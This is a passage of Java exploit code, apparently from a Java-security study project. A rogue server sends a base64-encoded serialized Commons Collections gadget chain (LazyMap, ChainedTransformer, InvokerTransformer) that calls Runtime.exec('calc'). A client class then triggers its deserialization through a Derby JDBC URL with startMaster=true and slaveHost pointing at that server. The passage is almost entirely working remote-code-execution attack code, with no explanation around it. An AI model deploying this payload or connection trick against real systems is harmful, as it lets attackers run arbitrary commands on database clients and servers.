   	String evil="rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWFhc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANiYmJ4";
       byte[] decode = Base64.getDecoder().decode(evil);

	// 直接向 socket 中写入
	socket.getOutputStream().write(decode);
	socket.getOutputStream().flush();
	Thread.sleep(TimeUnit.SECONDS.toMillis(5));
	socket.close();
	server.close();
}

Client:

package com.javasec.jdbc.Derby;

import java.sql.DriverManager;

public class demo {
    public static void main(String[] args) throws Exception{
        Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
        //DriverManager.getConnection("jdbc:derby:dbname;create=true");
        DriverManager.getConnection("jdbc:derby:dbname;startMaster=true;slaveHost=127.0.0.1");
    }
}